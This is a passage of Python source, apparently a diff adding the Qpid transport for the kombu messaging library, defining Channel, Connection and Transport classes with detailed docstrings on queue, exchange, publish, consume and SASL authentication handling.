:meth:`basic_consume`. Each call to :meth:`basic_consume` will cause a + :class:`~qpid.messaging.endpoints.Receiver` to be created on the + :class:`~qpid.messaging.endpoints.Session` started by the :class: + `Transport`. The receiver will asynchronously read using + qpid.messaging, and prefetch messages before the call to + :meth:`Transport.basic_drain` occurs. The prefetch_count value of the + :class:`QoS` object is the capacity value of the new receiver. The new + receiver capacity must always be at least 1, otherwise none of the + receivers will appear to be ready for reading, and will never be read + from. + + Each call to :meth:`basic_consume` creates a consumer, which is given a + consumer tag that is identified by the caller of :meth:`basic_consume`. + Already started consumers can be cancelled using by their consumer_tag + using :meth:`basic_cancel`. Cancellation of a consumer causes the + :class:`~qpid.messaging.endpoints.Receiver` object to be closed. + + Asynchronous message ACKing is supported through :meth:`basic_ack`, + and is referenced by delivery_tag. The Channel object uses its + :class:`QoS` object to perform the message ACKing. + + """ + + #: A class reference that will be instantiated using the qos property. + QoS = QoS + + #: A class reference that identifies + # :class:`~kombu.transport.virtual.Message` as the message class type + Message = Message + + #: Default body encoding. + #: NOTE: ``transport_options['body_encoding']`` will override this value. + body_encoding = 'base64' + + #: Binary <-> ASCII codecs. + codecs = {'base64': Base64()} + + def __init__(self, connection, transport): + self.connection = connection + self.transport = transport + qpid_connection = connection.get_qpid_connection() + self._broker = qpidtoollibs.BrokerAgent(qpid_connection) + self.closed = False + self._tag_to_queue = {} + self._receivers = {} + self._qos = None + + def _get(self, queue): + """Non-blocking, single-message read from a queue. + + An internal method to perform a non-blocking, single-message read + from a queue by name. This method creates a + :class:`~qpid.messaging.endpoints.Receiver` to read from the queue + using the :class:`~qpid.messaging.endpoints.Session` saved on the + associated :class:`~kombu.transport.qpid.Transport`. The receiver + is closed before the method exits. If a message is available, a + :class:`qpid.messaging.Message` object is returned. If no message is + available, a :class:`qpid.messaging.exceptions.Empty` exception is + raised. + + This is an internal method. External calls for get functionality + should be done using :meth:`basic_get`. + + :param queue: The queue name to get the message from + :type queue: str + + :return: The received message. + :rtype: :class:`qpid.messaging.Message` + :raises: :class:`qpid.messaging.exceptions.Empty` if no + message is available. + + """ + rx = self.transport.session.receiver(queue) + try: + message = rx.fetch(timeout=0) + finally: + rx.close() + return message + + def _put(self, routing_key, message, exchange=None, durable=True, + **kwargs): + """Synchronously send a single message onto a queue or exchange. + + An internal method which synchronously sends a single message onto + a given queue or exchange. If exchange is not specified, + the message is sent directly to a queue specified by routing_key. + If no queue is found by the name of routing_key while exchange is + not specified an exception is raised. If an exchange is specified, + then the message is delivered onto the requested + exchange using routing_key. Message sending is synchronous using + sync=True because large messages in kombu funtests were not being + fully sent before the receiver closed. + + This method creates a :class:`qpid.messaging.endpoints.Sender` to + send the message to the queue using the + :class:`qpid.messaging.endpoints.Session` created and referenced by + the associated :class:`~kombu.transport.qpid.Transport`. The sender + is closed before the method exits. + + External calls for put functionality should be done using + :meth:`basic_publish`. + + :param routing_key: If exchange is None, treated as the queue name + to send the message to. If exchange is not None, treated as the + routing_key to use as the message is submitted onto the exchange. + :type routing_key: str + :param message: The message to be sent as prepared by + :meth:`basic_publish`. + :type message: dict + :keyword exchange: keyword parameter of the exchange this message + should be sent on. If no exchange is specified, the message is + sent directly to a queue specified by routing_key. + :type exchange: str + :keyword durable: whether or not the message should persist or be + durable. + :type durable: bool + + """ + if not exchange: + address = f'{routing_key}; ' \ + '{{assert: always, node: {{type: queue}}}}' + msg_subject = None + else: + address = f'{exchange}/{routing_key}; '\ + '{{assert: always, node: {{type: topic}}}}' + msg_subject = str(routing_key) + sender = self.transport.session.sender(address) + qpid_message = qpid.messaging.Message(content=message, + durable=durable, + subject=msg_subject) + try: + sender.send(qpid_message, sync=True) + finally: + sender.close() + + def _purge(self, queue): + """Purge all undelivered messages from a queue specified by name. + + An internal method to purge all undelivered messages from a queue + specified by name. If the queue does not exist a + :class:`qpid.messaging.exceptions.NotFound` exception is raised. + + The queue message depth is first checked, and then the broker is + asked to purge that number of messages. The integer number of + messages requested to be purged is returned. The actual number of + messages purged may be different than the requested number of + messages to purge (see below). + + Sometimes delivered messages are asked to be purged, but are not. + This case fails silently, which is the correct behavior when a + message that has been delivered to a different consumer, who has + not ACKed the message, and still has an active session with the + broker. Messages in that case are not safe for purging and will be + retained by the broker. The client is unable to change this + delivery behavior. + + This is an internal method. External calls for purge functionality + should be done using :meth:`queue_purge`. + + :param queue: the name of the queue to be purged + :type queue: str + + :return: The number of messages requested to be purged. + :rtype: int + + :raises: :class:`qpid.messaging.exceptions.NotFound` if the queue + being purged cannot be found. + + """ + queue_to_purge = self._broker.getQueue(queue) + if queue_to_purge is None: + error_text = f"NOT_FOUND - no queue '{queue}'" + raise NotFound(code=404, text=error_text) + message_count = queue_to_purge.values['msgDepth'] + if message_count > 0: + queue_to_purge.purge(message_count) + return message_count + + def _size(self, queue): + """Get the number of messages in a queue specified by name. + + An internal method to return the number of messages in a queue + specified by name. It returns an integer count of the number + of messages currently in the queue. + + :param queue: The name of the queue to be inspected for the number + of messages + :type queue: str + + :return the number of messages in the queue specified by name. + :rtype: int + + """ + queue_to_check = self._broker.getQueue(queue) + message_depth = queue_to_check.values['msgDepth'] + return message_depth + + def _delete(self, queue, *args, **kwargs): + """Delete a queue and all messages on that queue. + + An internal method to delete a queue specified by name and all the + messages on it. First, all messages are purged from a queue using a + call to :meth:`_purge`. Second, the broker is asked to delete the + queue. + + This is an internal method. External calls for queue delete + functionality should be done using :meth:`queue_delete`. + + :param queue: The name of the queue to be deleted. + :type queue: str + + """ + self._purge(queue) + self._broker.delQueue(queue) + + def _has_queue(self, queue, **kwargs): + """Determine if the broker has a queue specified by name. + + :param queue: The queue name to check if the queue exists. + :type queue: str + + :return: True if a queue exists on the broker, and false + otherwise. + :rtype: bool + + """ + if self._broker.getQueue(queue): + return True + else: + return False + + def queue_declare(self, queue, passive=False, durable=False, + exclusive=False, auto_delete=True, nowait=False, + arguments=None): + """Create a new queue specified by name. + + If the queue already exists, no change is made to the queue, + and the return value returns information about the existing queue. + + The queue name is required and specified as the first argument. + + If passive is True, the server will not create the queue. The + client can use this to check whether a queue exists without + modifying the server state. Default is False. + + If durable is True, the queue will be durable. Durable queues + remain active when a server restarts. Non-durable queues ( + transient queues) are purged if/when a server restarts. Note that + durable queues do not necessarily hold persistent messages, + although it does not make sense to send persistent messages to a + transient queue. Default is False. + + If exclusive is True, the queue will be exclusive. Exclusive queues + may only be consumed by the current connection. Setting the + 'exclusive' flag always implies 'auto-delete'. Default is False. + + If auto_delete is True, the queue is deleted when all consumers + have finished using it. The last consumer can be cancelled either + explicitly or because its channel is closed. If there was no + consumer ever on the queue, it won't be deleted. Default is True. + + The nowait parameter is unused. It was part of the 0-9-1 protocol, + but this AMQP client implements 0-10 which removed the nowait option. + + The arguments parameter is a set of arguments for the declaration of + the queue. Arguments are passed as a dict or None. This field is + ignored if passive is True. Default is None. + + This method returns a :class:`~collections.namedtuple` with the name + 'queue_declare_ok_t' and the queue name as 'queue', message count + on the queue as 'message_count', and the number of active consumers + as 'consumer_count'. The named tuple values are ordered as queue, + message_count, and consumer_count respectively. + + Due to Celery's non-ACKing of events, a ring policy is set on any + queue that starts with the string 'celeryev' or ends with the string + 'pidbox'. These are celery event queues, and Celery does not ack + them, causing the messages to build-up. Eventually Qpid stops serving + messages unless the 'ring' policy is set, at which point the buffer + backing the queue becomes circular. + + :param queue: The name of the queue to be created. + :type queue: str + :param passive: If True, the sever will not create the queue. + :type passive: bool + :param durable: If True, the queue will be durable. + :type durable: bool + :param exclusive: If True, the queue will be exclusive. + :type exclusive: bool + :param auto_delete: If True, the queue is deleted when all + consumers have finished using it. + :type auto_delete: bool + :param nowait: This parameter is unused since the 0-10 + specification does not include it. + :type nowait: bool + :param arguments: A set of arguments for the declaration of the + queue. + :type arguments: dict or None + + :return: A named tuple representing the declared queue as a named + tuple. The tuple values are ordered as queue, message count, + and the active consumer count. + :rtype: :class:`~collections.namedtuple` + + """ + options = {'passive': passive, + 'durable': durable, + 'exclusive': exclusive, + 'auto-delete': auto_delete, + 'arguments': arguments} + if queue.startswith('celeryev') or queue.endswith('pidbox'): + options['qpid.policy_type'] = 'ring' + try: + self._broker.addQueue(queue, options=options) + except Exception as exc: + if OBJECT_ALREADY_EXISTS_STRING not in str(exc): + raise exc + queue_to_check = self._broker.getQueue(queue) + message_count = queue_to_check.values['msgDepth'] + consumer_count = queue_to_check.values['consumerCount'] + return amqp.protocol.queue_declare_ok_t(queue, message_count, + consumer_count) + + def queue_delete(self, queue, if_unused=False, if_empty=False, **kwargs): + """Delete a queue by name. + + Delete a queue specified by name. Using the if_unused keyword + argument, the delete can only occur if there are 0 consumers bound + to it. Using the if_empty keyword argument, the delete can only + occur if there are 0 messages in the queue. + + :param queue: The name of the queue to be deleted. + :type queue: str + :keyword if_unused: If True, delete only if the queue has 0 + consumers. If False, delete a queue even with consumers bound + to it. + :type if_unused: bool + :keyword if_empty: If True, only delete the queue if it is empty. If + False, delete the queue if it is empty or not. + :type if_empty: bool + + """ + if self._has_queue(queue): + if if_empty and self._size(queue): + return + queue_obj = self._broker.getQueue(queue) + consumer_count = queue_obj.getAttributes()['consumerCount'] + if if_unused and consumer_count > 0: + return + self._delete(queue) + + def exchange_declare(self, exchange='', type='direct', durable=False, + **kwargs): + """Create a new exchange. + + Create an exchange of a specific type, and optionally have the + exchange be durable. If an exchange of the requested name already + exists, no action is taken and no exceptions are raised. Durable + exchanges will survive a broker restart, non-durable exchanges will + not. + + Exchanges provide behaviors based on their type. The expected + behaviors are those defined in the AMQP 0-10 and prior + specifications including 'direct', 'topic', and 'fanout' + functionality. + + :keyword type: The exchange type. Valid values include 'direct', + 'topic', and 'fanout'. + :type type: str + :keyword exchange: The name of the exchange to be created. If no + exchange is specified, then a blank string will be used as the + name. + :type exchange: str + :keyword durable: True if the exchange should be durable, or False + otherwise. + :type durable: bool + + """ + options = {'durable': durable} + try: + self._broker.addExchange(type, exchange, options) + except Exception as exc: + if OBJECT_ALREADY_EXISTS_STRING not in str(exc): + raise exc + + def exchange_delete(self, exchange_name, **kwargs): + """Delete an exchange specified by name. + + :param exchange_name: The name of the exchange to be deleted. + :type exchange_name: str + + """ + self._broker.delExchange(exchange_name) + + def queue_bind(self, queue, exchange, routing_key, **kwargs): + """Bind a queue to an exchange with a bind key. + + Bind a queue specified by name, to an exchange specified by name, + with a specific bind key. The queue and exchange must already + exist on the broker for the bind to complete successfully. Queues + may be bound to exchanges multiple times with different keys. + + :param queue: The name of the queue to be bound. + :type queue: str + :param exchange: The name of the exchange that the queue should be + bound to. + :type exchange: str + :param routing_key: The bind key that the specified queue should + bind to the specified exchange with. + :type routing_key: str + + """ + self._broker.bind(exchange, queue, routing_key) + + def queue_unbind(self, queue, exchange, routing_key, **kwargs): + """Unbind a queue from an exchange with a given bind key. + + Unbind a queue specified by name, from an exchange specified by + name, that is already bound with a bind key. The queue and + exchange must already exist on the broker, and bound with the bind + key for the operation to complete successfully. Queues may be + bound to exchanges multiple times with different keys, thus the + bind key is a required field to unbind in an explicit way. + + :param queue: The name of the queue to be unbound. + :type queue: str + :param exchange: The name of the exchange that the queue should be + unbound from. + :type exchange: str + :param routing_key: The existing bind key between the specified + queue and a specified exchange that should be unbound. + :type routing_key: str + + """ + self._broker.unbind(exchange, queue, routing_key) + + def queue_purge(self, queue, **kwargs): + """Remove all undelivered messages from queue. + + Purge all undelivered messages from a queue specified by name. If the + queue does not exist an exception is raised. The queue message + depth is first checked, and then the broker is asked to purge that + number of messages. The integer number of messages requested to be + purged is returned. The actual number of messages purged may be + different than the requested number of messages to purge. + + Sometimes delivered messages are asked to be purged, but are not. + This case fails silently, which is the correct behavior when a + message that has been delivered to a different consumer, who has + not ACKed the message, and still has an active session with the + broker. Messages in that case are not safe for purging and will be + retained by the broker. The client is unable to change this + delivery behavior. + + Internally, this method relies on :meth:`_purge`. + + :param queue: The name of the queue which should have all messages + removed. + :type queue: str + + :return: The number of messages requested to be purged. + :rtype: int + + :raises: :class:`qpid.messaging.exceptions.NotFound` if the queue + being purged cannot be found. + + """ + return self._purge(queue) + + def basic_get(self, queue, no_ack=False, **kwargs): + """Non-blocking single message get and ACK from a queue by name. + + Internally this method uses :meth:`_get` to fetch the message. If + an :class:`~qpid.messaging.exceptions.Empty` exception is raised by + :meth:`_get`, this method silences it and returns None. If + :meth:`_get` does return a message, that message is ACKed. The no_ack + parameter has no effect on ACKing behavior, and all messages are + ACKed in all cases. This method never adds fetched Messages to the + internal QoS object for asynchronous ACKing. + + This method converts the object type of the method as it passes + through. Fetching from the broker, :meth:`_get` returns a + :class:`qpid.messaging.Message`, but this method takes the payload + of the :class:`qpid.messaging.Message` and instantiates a + :class:`~kombu.transport.virtual.Message` object with the payload + based on the class setting of self.Message. + + :param queue: The queue name to fetch a message from. + :type queue: str + :keyword no_ack: The no_ack parameter has no effect on the ACK + behavior of this method. Un-ACKed messages create a memory leak in + qpid.messaging, and need to be ACKed in all cases. + :type noack: bool + + :return: The received message. + :rtype: :class:`~kombu.transport.virtual.Message` + + """ + try: + qpid_message = self._get(queue) + raw_message = qpid_message.content + message = self.Message(raw_message, channel=self) + self.transport.session.acknowledge(message=qpid_message) + return message + except Empty: + pass + + def basic_ack(self, delivery_tag, multiple=False): + """Acknowledge a message by delivery_tag. + + Acknowledges a message referenced by delivery_tag. Messages can + only be ACKed using :meth:`basic_ack` if they were acquired using + :meth:`basic_consume`. This is the ACKing portion of the + asynchronous read behavior. + + Internally, this method uses the :class:`QoS` object, which stores + messages and is responsible for the ACKing. + + :param delivery_tag: The delivery tag associated with the message + to be acknowledged. + :type delivery_tag: uuid.UUID + :param multiple: not implemented. If set to True an AssertionError + is raised. + :type multiple: bool + + """ + assert multiple is False + self.qos.ack(delivery_tag) + + def basic_reject(self, delivery_tag, requeue=False): + """Reject a message by delivery_tag. + + Rejects a message that has been received by the Channel, but not + yet acknowledged. Messages are referenced by their delivery_tag. + + If requeue is False, the rejected message will be dropped by the + broker and not delivered to any other consumers. If requeue is + True, then the rejected message will be requeued for delivery to + another consumer, potentially to the same consumer who rejected the + message previously. + + :param delivery_tag: The delivery tag associated with the message + to be rejected. + :type delivery_tag: uuid.UUID + :keyword requeue: If False, the rejected message will be dropped by + the broker and not delivered to any other consumers. If True, + then the rejected message will be requeued for delivery to + another consumer, potentially to the same consumer who rejected + the message previously. + :type requeue: bool + + """ + self.qos.reject(delivery_tag, requeue=requeue) + + def basic_consume(self, queue, no_ack, callback, consumer_tag, **kwargs): + """Start an asynchronous consumer that reads from a queue. + + This method starts a consumer of type + :class:`~qpid.messaging.endpoints.Receiver` using the + :class:`~qpid.messaging.endpoints.Session` created and referenced by + the :class:`Transport` that reads messages from a queue + specified by name until stopped by a call to :meth:`basic_cancel`. + + + Messages are available later through a synchronous call to + :meth:`Transport.drain_events`, which will drain from the consumer + started by this method. :meth:`Transport.drain_events` is + synchronous, but the receiving of messages over the network occurs + asynchronously, so it should still perform well. + :meth:`Transport.drain_events` calls the callback provided here with + the Message of type self.Message. + + Each consumer is referenced by a consumer_tag, which is provided by + the caller of this method. + + This method sets up the callback onto the self.connection object in a + dict keyed by queue name. :meth:`~Transport.drain_events` is + responsible for calling that callback upon message receipt. + + All messages that are received are added to the QoS object to be + saved for asynchronous ACKing later after the message has been + handled by the caller of :meth:`~Transport.drain_events`. Messages + can be ACKed after being received through a call to :meth:`basic_ack`. + + If no_ack is True, The no_ack flag indicates that the receiver of + the message will not call :meth:`basic_ack` later. Since the + message will not be ACKed later, it is ACKed immediately. + + :meth:`basic_consume` transforms the message object type prior to + calling the callback. Initially the message comes in as a + :class:`qpid.messaging.Message`. This method unpacks the payload + of the :class:`qpid.messaging.Message` and creates a new object of + type self.Message. + + This method wraps the user delivered callback in a runtime-built + function which provides the type transformation from + :class:`qpid.messaging.Message` to + :class:`~kombu.transport.virtual.Message`, and adds the message to + the associated :class:`QoS` object for asynchronous ACKing + if necessary. + + :param queue: The name of the queue to consume messages from + :type queue: str + :param no_ack: If True, then messages will not be saved for ACKing + later, but will be ACKed immediately. If False, then messages + will be saved for ACKing later with a call to :meth:`basic_ack`. + :type no_ack: bool + :param callback: a callable that will be called when messages + arrive on the queue. + :type callback: a callable object + :param consumer_tag: a tag to reference the created consumer by. + This consumer_tag is needed to cancel the consumer. + :type consumer_tag: an immutable object + + """ + self._tag_to_queue[consumer_tag] = queue + + def _callback(qpid_message): + raw_message = qpid_message.content + message = self.Message(raw_message, channel=self) + delivery_tag = message.delivery_tag + self.qos.append(qpid_message, delivery_tag) + if no_ack: + # Celery will not ack this message later, so we should ack now + self.basic_ack(delivery_tag) + return callback(message) + + self.connection._callbacks[queue] = _callback + new_receiver = self.transport.session.receiver(queue) + new_receiver.capacity = self.qos.prefetch_count + self._receivers[consumer_tag] = new_receiver + + def basic_cancel(self, consumer_tag): + """Cancel consumer by consumer tag. + + Request the consumer stops reading messages from its queue. The + consumer is a :class:`~qpid.messaging.endpoints.Receiver`, and it is + closed using :meth:`~qpid.messaging.endpoints.Receiver.close`. + + This method also cleans up all lingering references of the consumer. + + :param consumer_tag: The tag which refers to the consumer to be + cancelled. Originally specified when the consumer was created + as a parameter to :meth:`basic_consume`. + :type consumer_tag: an immutable object + + """ + if consumer_tag in self._receivers: + receiver = self._receivers.pop(consumer_tag) + receiver.close() + queue = self._tag_to_queue.pop(consumer_tag, None) + self.connection._callbacks.pop(queue, None) + + def close(self): + """Cancel all associated messages and close the Channel. + + This cancels all consumers by calling :meth:`basic_cancel` for each + known consumer_tag. It also closes the self._broker sessions. Closing + the sessions implicitly causes all outstanding, un-ACKed messages to + be considered undelivered by the broker. + + """ + if not self.closed: + self.closed = True + for consumer_tag in self._receivers.keys(): + self.basic_cancel(consumer_tag) + if self.connection is not None: + self.connection.close_channel(self) + self._broker.close() + + @property + def qos(self): + """:class:`QoS` manager for this channel. + + Lazily instantiates an object of type :class:`QoS` upon access to + the self.qos attribute. + + :return: An already existing, or newly created QoS object + :rtype: :class:`QoS` + + """ + if self._qos is None: + self._qos = self.QoS(self.transport.session) + return self._qos + + def basic_qos(self, prefetch_count, *args): + """Change :class:`QoS` settings for this Channel. + + Set the number of un-acknowledged messages this Channel can fetch and + hold. The prefetch_value is also used as the capacity for any new + :class:`~qpid.messaging.endpoints.Receiver` objects. + + Currently, this value is hard coded to 1. + + :param prefetch_count: Not used. This method is hard-coded to 1. + :type prefetch_count: int + + """ + self.qos.prefetch_count = 1 + + def prepare_message(self, body, priority=None, content_type=None, + content_encoding=None, headers=None, properties=None): + """Prepare message data for sending. + + This message is typically called by + :meth:`kombu.messaging.Producer._publish` as a preparation step in + message publication. + + :param body: The body of the message + :type body: str + :keyword priority: A number between 0 and 9 that sets the priority of + the message. + :type priority: int + :keyword content_type: The content_type the message body should be + treated as. If this is unset, the + :class:`qpid.messaging.endpoints.Sender` object tries to + autodetect the content_type from the body. + :type content_type: str + :keyword content_encoding: The content_encoding the message body is + encoded as. + :type content_encoding: str + :keyword headers: Additional Message headers that should be set. + Passed in as a key-value pair. + :type headers: dict + :keyword properties: Message properties to be set on the message. + :type properties: dict + + :return: Returns a dict object that encapsulates message + attributes. See parameters for more details on attributes that + can be set. + :rtype: dict + + """ + properties = properties or {} + info = properties.setdefault('delivery_info', {}) + info['priority'] = priority or 0 + + return {'body': body, + 'content-encoding': content_encoding, + 'content-type': content_type, + 'headers': headers or {}, + 'properties': properties or {}} + + def basic_publish(self, message, exchange, routing_key, **kwargs): + """Publish message onto an exchange using a routing key. + + Publish a message onto an exchange specified by name using a + routing key specified by routing_key. Prepares the message in the + following ways before sending: + + - encodes the body using :meth:`encode_body` + - wraps the body as a buffer object, so that + :class:`qpid.messaging.endpoints.Sender` uses a content type + that can support arbitrarily large messages. + - sets delivery_tag to a random uuid.UUID + - sets the exchange and routing_key info as delivery_info + + Internally uses :meth:`_put` to send the message synchronously. This + message is typically called by + :class:`kombu.messaging.Producer._publish` as the final step in + message publication. + + :param message: A dict containing key value pairs with the message + data. A valid message dict can be generated using the + :meth:`prepare_message` method. + :type message: dict + :param exchange: The name of the exchange to submit this message + onto. + :type exchange: str + :param routing_key: The routing key to be used as the message is + submitted onto the exchange. + :type routing_key: str + + """ + message['body'], body_encoding = self.encode_body( + message['body'], self.body_encoding, + ) + props = message['properties'] + props.update( + body_encoding=body_encoding, + delivery_tag=uuid.uuid4(), + ) + props['delivery_info'].update( + exchange=exchange, + routing_key=routing_key, + ) + self._put(routing_key, message, exchange, **kwargs) + + def encode_body(self, body, encoding=None): + """Encode a body using an optionally specified encoding. + + The encoding can be specified by name, and is looked up in + self.codecs. self.codecs uses strings as its keys which specify + the name of the encoding, and then the value is an instantiated + object that can provide encoding/decoding of that type through + encode and decode methods. + + :param body: The body to be encoded. + :type body: str + :keyword encoding: The encoding type to be used. Must be a supported + codec listed in self.codecs. + :type encoding: str + + :return: If encoding is specified, return a tuple with the first + position being the encoded body, and the second position the + encoding used. If encoding is not specified, the body is passed + through unchanged. + :rtype: tuple + + """ + if encoding: + return self.codecs.get(encoding).encode(body), encoding + return body, encoding + + def decode_body(self, body, encoding=None): + """Decode a body using an optionally specified encoding. + + The encoding can be specified by name, and is looked up in + self.codecs. self.codecs uses strings as its keys which specify + the name of the encoding, and then the value is an instantiated + object that can provide encoding/decoding of that type through + encode and decode methods. + + :param body: The body to be encoded. + :type body: str + :keyword encoding: The encoding type to be used. Must be a supported + codec listed in self.codecs. + :type encoding: str + + :return: If encoding is specified, the decoded body is returned. + If encoding is not specified, the body is returned unchanged. + :rtype: str + + """ + if encoding: + return self.codecs.get(encoding).decode(body) + return body + + def typeof(self, exchange, default='direct'): + """Get the exchange type. + + Lookup and return the exchange type for an exchange specified by + name. Exchange types are expected to be 'direct', 'topic', + and 'fanout', which correspond with exchange functionality as + specified in AMQP 0-10 and earlier. If the exchange cannot be + found, the default exchange type is returned. + + :param exchange: The exchange to have its type lookup up. + :type exchange: str + :keyword default: The type of exchange to assume if the exchange does + not exist. + :type default: str + + :return: The exchange type either 'direct', 'topic', or 'fanout'. + :rtype: str + + """ + qpid_exchange = self._broker.getExchange(exchange) + if qpid_exchange: + qpid_exchange_attributes = qpid_exchange.getAttributes() + return qpid_exchange_attributes['type'] + else: + return default + + +class Connection: + """Qpid Connection. + + Encapsulate a connection object for the + :class:`~kombu.transport.qpid.Transport`. + + :param host: The host that connections should connect to. + :param port: The port that connection should connect to. + :param username: The username that connections should connect with. + Optional. + :param password: The password that connections should connect with. + Optional but requires a username. + :param transport: The transport type that connections should use. + Either 'tcp', or 'ssl' are expected as values. + :param timeout: the timeout used when a Connection connects + to the broker. + :param sasl_mechanisms: The sasl authentication mechanism type to use. + refer to SASL documentation for an explanation of valid + values. + + .. note:: + + qpid.messaging has an AuthenticationFailure exception type, but + instead raises a ConnectionError with a message that indicates an + authentication failure occurred in those situations. + ConnectionError is listed as a recoverable error type, so kombu + will attempt to retry if a ConnectionError is raised. Retrying + the operation without adjusting the credentials is not correct, + so this method specifically checks for a ConnectionError that + indicates an Authentication Failure occurred. In those + situations, the error type is mutated while preserving the + original message and raised so kombu will allow the exception to + not be considered recoverable. + + + A connection object is created by a + :class:`~kombu.transport.qpid.Transport` during a call to + :meth:`~kombu.transport.qpid.Transport.establish_connection`. The + :class:`~kombu.transport.qpid.Transport` passes in + connection options as keywords that should be used for any connections + created. Each :class:`~kombu.transport.qpid.Transport` creates exactly + one Connection. + + A Connection object maintains a reference to a + :class:`~qpid.messaging.endpoints.Connection` which can be accessed + through a bound getter method named :meth:`get_qpid_connection` method. + Each Channel uses a the Connection for each + :class:`~qpidtoollibs.BrokerAgent`, and the Transport maintains a session + for all senders and receivers. + + The Connection object is also responsible for maintaining the + dictionary of references to callbacks that should be called when + messages are received. These callbacks are saved in _callbacks, + and keyed on the queue name associated with the received message. The + _callbacks are setup in :meth:`Channel.basic_consume`, removed in + :meth:`Channel.basic_cancel`, and called in + :meth:`Transport.drain_events`. + + The following keys are expected to be passed in as keyword arguments + at a minimum: + + All keyword arguments are collected into the connection_options dict + and passed directly through to + :meth:`qpid.messaging.endpoints.Connection.establish`. + + """ + + # A class reference to the :class:`Channel` object + Channel = Channel + + def __init__(self, **connection_options): + self.connection_options = connection_options + self.channels = [] + self._callbacks = {} + self._qpid_conn = None + establish = qpid.messaging.Connection.establish + + # There are several inconsistent behaviors in the sasl libraries + # used on different systems. Although qpid.messaging allows + # multiple space separated sasl mechanisms, this implementation + # only advertises one type to the server. These are either + # ANONYMOUS, PLAIN, or an overridden value specified by the user. + + sasl_mech = connection_options['sasl_mechanisms'] + + try: + msg = _('Attempting to connect to qpid with ' + 'SASL mechanism %s') % sasl_mech + logger.debug(msg) + self._qpid_conn = establish(**self.connection_options) + # connection was successful if we got this far + msg = _('Connected to qpid with SASL ' + 'mechanism %s') % sasl_mech + logger.info(msg) + except ConnectionError as conn_exc: + # if we get one of these errors, do not raise an exception. + # Raising will cause the connection to be retried. Instead, + # just continue on to the next mech. + coded_as_auth_failure = getattr(conn_exc, 'code', None) == 320 + contains_auth_fail_text = \ + 'Authentication failed' in conn_exc.text + contains_mech_fail_text = \ + 'sasl negotiation failed: no mechanism agreed' \ + in conn_exc.text + contains_mech_unavail_text = 'no mechanism available' \ + in conn_exc.text + if coded_as_auth_failure or \ + contains_auth_fail_text or contains_mech_fail_text or \ + contains_mech_unavail_text: + msg = _('Unable to connect to qpid with SASL ' + 'mechanism %s') % sasl_mech + logger.error(msg) + raise AuthenticationFailure(sys.exc_info()[1]) + raise + + def get_qpid_connection(self): + """Return the existing connection (singleton). + + :return: The existing qpid.messaging.Connection + :rtype: :class:`qpid.messaging.endpoints.Connection` + + """ + return self._qpid_conn + + def close(self): + """Close the connection. + + Closing the connection will close all associated session, senders, or + receivers used by the Connection. + + """ + self._qpid_conn.close() + + def close_channel(self, channel): + """Close a Channel. + + Close a channel specified by a reference to the + :class:`~kombu.transport.qpid.Channel` object. + + :param channel: Channel that should be closed. + :type channel: :class:`~kombu.transport.qpid.Channel`. + + """ + try: + self.channels.remove(channel) + except ValueError: + pass + finally: + channel.connection = None + + +class Transport(base.Transport): + """Kombu native transport for a Qpid broker. + + Provide a native transport for Kombu that allows consumers and + producers to read and write messages to/from a broker. This Transport + is capable of supporting both synchronous and asynchronous reading. + All writes are synchronous through the :class:`Channel` objects that + support this Transport. + + Asynchronous reads are done using a call to :meth:`drain_events`, + which synchronously reads messages that were fetched asynchronously, and + then handles them through calls to the callback handlers maintained on + the :class:`Connection` object. + + The Transport also provides methods to establish and close a connection + to the broker. This Transport establishes a factory-like pattern that + allows for singleton pattern to consolidate all Connections into a single + one. + + The Transport can create :class:`Channel` objects to communicate with the + broker with using the :meth:`create_channel` method. + + The Transport identifies recoverable connection errors and recoverable + channel errors according to the Kombu 3.0 interface. These exception are + listed as tuples and store in the Transport class attribute + `recoverable_connection_errors` and `recoverable_channel_errors` + respectively. Any exception raised that is not a member of one of these + tuples is considered non-recoverable. This allows Kombu support for + automatic retry of certain operations to function correctly. + + For backwards compatibility to the pre Kombu 3.0 exception interface, the + recoverable errors are also listed as `connection_errors` and + `channel_errors`. + + """ + + # Reference to the class that should be used as the Connection object + Connection = Connection + + # This Transport does not specify a polling interval. + polling_interval = None + + # This Transport does support the Celery asynchronous event model. + implements = virtual.Transport.implements.extend( + asynchronous=True, + exchange_type=frozenset(['direct', 'topic', 'fanout']), + ) + + # The driver type and name for identification purposes. + driver_type = 'qpid' + driver_name = 'qpid' + + # Exceptions that can be recovered from, but where the connection must be + # closed and re-established first. + recoverable_connection_errors = ( + ConnectionError, + select.error, + ) + + # Exceptions that can be automatically recovered from without + # re-establishing the connection. + recoverable_channel_errors = ( + NotFound, + ) + + # Support the pre 3.0 Kombu exception labeling interface which treats + # connection_errors and channel_errors both as recoverable via a + # reconnect. + connection_errors = recoverable_connection_errors + channel_errors = recoverable_channel_errors + + def __init__(self, *args, **kwargs): + self.verify_runtime_environment() + super().__init__(*args, **kwargs) + self.use_async_interface = False + + def verify_runtime_environment(self): + """Verify that the runtime environment is acceptable. + + This method is called as part of __init__ and raises a RuntimeError + in Python3 or PyPI environments. This module is not compatible with + Python3 or PyPI. The RuntimeError identifies this to the user up + front along with suggesting Python 2.6+ be used instead. + + This method also checks that the dependencies qpidtoollibs and + qpid.messaging are installed. If either one is not installed a + RuntimeError is raised. + + :raises: RuntimeError if the runtime environment is not acceptable. + + """ + if dependency_is_none(qpidtoollibs): + raise RuntimeError( + 'The Python package "qpidtoollibs" is missing. Install it ' + 'with your package manager. You can also try `pip install ' + 'qpid-tools`.') + + if dependency_is_none(qpid): + raise RuntimeError( + 'The Python package "qpid.messaging" is missing. Install it ' + 'with your package manager. You can also try `pip install ' + 'qpid-python`.') + + def _qpid_message_ready_handler(self, session): + if self.use_async_interface: + os.write(self._w, '0') + + def _qpid_async_exception_notify_handler(self, obj_with_exception, exc): + if self.use_async_interface: + os.write(self._w, 'e') + + def on_readable(self, connection, loop): + """Handle any messages associated with this Transport. + + This method clears a single message from the externally monitored + file descriptor by issuing a read call to the self.r file descriptor + which removes a single '0' character that was placed into the pipe + by the Qpid session message callback handler. Once a '0' is read, + all available events are drained through a call to + :meth:`drain_events`. + + The file descriptor self.r is modified to be non-blocking, ensuring + that an accidental call to this method when no more messages will + not cause indefinite blocking. + + Nothing is expected to be returned from :meth:`drain_events` because + :meth:`drain_events` handles messages by calling callbacks that are + maintained on the :class:`~kombu.transport.qpid.Connection` object. + When :meth:`drain_events` returns, all associated messages have been + handled. + + This method calls drain_events() which reads as many messages as are + available for this Transport, and then returns. It blocks in the + sense that reading and handling a large number of messages may take + time, but it does not block waiting for a new message to arrive. When + :meth:`drain_events` is called a timeout is not specified, which + causes this behavior. + + One interesting 